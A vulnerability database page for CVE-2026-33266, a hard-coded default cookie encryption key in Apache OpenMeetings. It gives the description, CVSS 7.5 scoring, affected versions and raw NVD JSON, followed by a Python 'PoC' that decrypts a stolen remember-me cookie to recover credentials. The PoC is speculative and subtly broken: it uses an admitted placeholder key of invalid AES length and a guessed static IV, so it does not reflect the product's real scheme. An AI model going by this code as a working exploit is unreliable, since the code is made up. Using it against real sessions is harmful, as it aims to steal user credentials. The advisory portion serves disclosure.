Security Vulnerability Report
中文
CVE-2026-33266 CVSS 7.5 HIGH

CVE-2026-33266

Published: 2026-04-09 16:16:27
Last Modified: 2026-04-15 15:21:56

Description

Use of Hard-coded Cryptographic Key vulnerability in Apache OpenMeetings. The remember-me cookie encryption key is set to default value in openmeetings.properties and not being auto-rotated. In case OM admin hasn't changed the default encryption key, an attacker who has stolen a cookie from a logged-in user can get full user credentials. This issue affects Apache OpenMeetings: from 6.1.0 before 9.0.0. Users are recommended to upgrade to version 9.0.0, which fixes the issue.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:openmeetings:*:*:*:*:*:*:*:* - VULNERABLE
Apache OpenMeetings >= 6.1.0, < 9.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad # Hardcoded key found in openmeetings.properties # This is a placeholder for the actual default key DEFAULT_KEY = b'this_is_the_default_key_16' IV = b'0000000000000000' # Assuming IV is static or derived, common in bad implementations def decrypt_cookie(encrypted_cookie): try: # Decode base64 enc_data = base64.b64decode(encrypted_cookie) # Create cipher cipher = AES.new(DEFAULT_KEY, AES.MODE_CBC, IV) # Decrypt and unpad decrypted_data = unpad(cipher.decrypt(enc_data), AES.block_size) print(f"Decrypted Cookie Data: {decrypted_data.decode('utf-8')}") return decrypted_data.decode('utf-8') except Exception as e: print(f"Error decrypting: {e}") return None # Example usage with a stolen cookie # stolen_cookie = "..." # decrypt_cookie(stolen_cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33266", "sourceIdentifier": "[email protected]", "published": "2026-04-09T16:16:26.960", "lastModified": "2026-04-15T15:21:55.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use of Hard-coded Cryptographic Key vulnerability in Apache OpenMeetings.\n\nThe remember-me cookie encryption key is set to default value in openmeetings.properties and not being auto-rotated. In case OM admin hasn't changed the default encryption key, an attacker who has stolen a cookie from a logged-in user can get full user credentials.\n\n\nThis issue affects Apache OpenMeetings: from 6.1.0 before 9.0.0.\n\nUsers are recommended to upgrade to version 9.0.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:openmeetings:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndExcluding": "9.0.0", "matchCriteriaId": "236D7F83-A2F6-4F00-A800-D7E661A4B1BE"}]}]}], "references": [{"url": "https://lists.apache.org/thread/b05jnp9563v49zq494lox9kjbhhf2w66", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/11", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}